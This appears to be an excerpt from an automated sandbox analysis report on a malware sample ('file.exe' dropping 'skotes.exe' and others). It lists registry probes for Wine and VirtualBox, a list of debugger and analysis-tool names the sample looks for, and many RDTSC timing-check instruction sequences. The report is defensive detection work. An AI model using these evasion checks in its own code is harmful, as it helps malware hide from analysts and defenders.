Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000002.2936630191.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000002.2926700007.00000000004AC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMU&M
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEAUTORUNSC.EXERESOURCEHACKER.EXEFILEMON.EXEREGMON.EXEWINDANR.EXEFL
Source: skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000002.2936630191.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000002.2926700007.00000000004AC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHA
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TORUNS.EXEDUMPCAP.EXEDE4
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDANR.EXE
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F4AFD second address: 2F4B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3001AA second address: 3001AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3001AE second address: 3001B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3001B4 second address: 3001B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30043E second address: 300487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB818BA6112h 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FB818BA6113h 0x00000016 jmp 00007FB818BA6114h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30079E second address: 3007A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3007A8 second address: 3007B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3032B7 second address: 3032D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818EDC0CCh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FB818EDC0C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3032D5 second address: 303375 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b movzx ecx, dx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FB818BA6108h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a movsx ecx, si 0x0000002d call 00007FB818BA6109h 0x00000032 pushad 0x00000033 jmp 00007FB818BA6111h 0x00000038 jmp 00007FB818BA6117h 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007FB818BA6119h 0x00000047 jmp 00007FB818BA6111h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303375 second address: 30337F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FB818EDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30337F second address: 3033A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FB818BA6108h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3033A4 second address: 3033A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3033A9 second address: 3033B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3033B7 second address: 3033BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3033BB second address: 303402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jng 00007FB818BA6106h 0x00000015 popad 0x00000016 pop ecx 0x00000017 pop eax 0x00000018 adc dl, 0000006Bh 0x0000001b push 00000003h 0x0000001d sub dword ptr [ebp+122D2AF7h], eax 0x00000023 push 00000000h 0x00000025 movzx esi, dx 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D2B77h], eax 0x00000030 call 00007FB818BA6109h 0x00000035 pushad 0x00000036 push ebx 0x00000037 pushad 0x00000038 popad 0x00000039 pop ebx 0x0000003a pushad 0x0000003b jbe 00007FB818BA6106h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303402 second address: 303417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB818EDC0CBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303417 second address: 30346A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818BA6106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB818BA6112h 0x00000010 je 00007FB818BA6106h 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jg 00007FB818BA6119h 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FB818BA610Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303543 second address: 303547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303547 second address: 303551 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB818BA6106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303551 second address: 303582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d ja 00007FB818EDC0C6h 0x00000013 jmp 00007FB818EDC0D2h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303582 second address: 30359F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA6119h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30380A second address: 30380E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30380E second address: 303814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303814 second address: 30383A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jns 00007FB818EDC0C8h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30383A second address: 3038C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jo 00007FB818BA6112h 0x00000010 je 00007FB818BA610Ch 0x00000016 pop eax 0x00000017 js 00007FB818BA6117h 0x0000001d jmp 00007FB818BA6111h 0x00000022 lea ebx, dword ptr [ebp+124581D7h] 0x00000028 and cx, 44CEh 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f jmp 00007FB818BA610Bh 0x00000034 jmp 00007FB818BA6115h 0x00000039 popad 0x0000003a push eax 0x0000003b pushad 0x0000003c push ecx 0x0000003d jmp 00007FB818BA6117h 0x00000042 pop ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FB818BA610Fh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB5F6 second address: 2FB611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0D5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB611 second address: 2FB61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB61E second address: 2FB62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB62B second address: 2FB647 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6118h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322BB6 second address: 322BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322BBA second address: 322BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6110h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322D5E second address: 322D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322D62 second address: 322D6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3231BA second address: 3231BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3235F3 second address: 323612 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6116h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323612 second address: 323616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323616 second address: 32363E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FB818BA610Bh 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f jmp 00007FB818BA610Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323A30 second address: 323A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323A34 second address: 323A40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnc 00007FB818BA6106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323A40 second address: 323A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323E8C second address: 323E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323E92 second address: 323E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323E96 second address: 323E9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323E9E second address: 323EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0CFh 0x00000009 je 00007FB818EDC0C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323EB7 second address: 323EC1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB818BA6106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32441E second address: 324435 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB818EDC0D2h 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 324586 second address: 32458B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32458B second address: 3245A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0D4h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3245A8 second address: 3245B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818BA610Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327D5F second address: 327D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327D63 second address: 327D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3280CB second address: 3280E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FB818EDC0CDh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3280E8 second address: 3280EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F9B65 second address: 2F9B6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F9B6B second address: 2F9B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F9B77 second address: 2F9B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB818EDC0CAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F9B96 second address: 2F9BAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB818BA6112h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EFAA0 second address: 2EFABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FB818EDC0D4h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EFABD second address: 2EFAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EFAC1 second address: 2EFAC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330CDA second address: 330CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3310D7 second address: 3310DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3334AD second address: 3334B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3361CC second address: 3361F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FB818EDC0C6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FB818EDC0DAh 0x00000017 jmp 00007FB818EDC0D4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3361F7 second address: 336220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB818BA6106h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB818BA6115h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336220 second address: 336245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FB818EDC0C6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jc 00007FB818EDC0D3h 0x00000015 jmp 00007FB818EDC0CDh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336245 second address: 33624B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33624B second address: 33626B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b js 00007FB818EDC0C8h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB818EDC0CBh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33626B second address: 336297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 call 00007FB818BA6109h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB818BA6119h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336297 second address: 3362D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB818EDC0CCh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jmp 00007FB818EDC0CCh 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336632 second address: 336638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336704 second address: 336722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FB818EDC0D1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336722 second address: 336727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
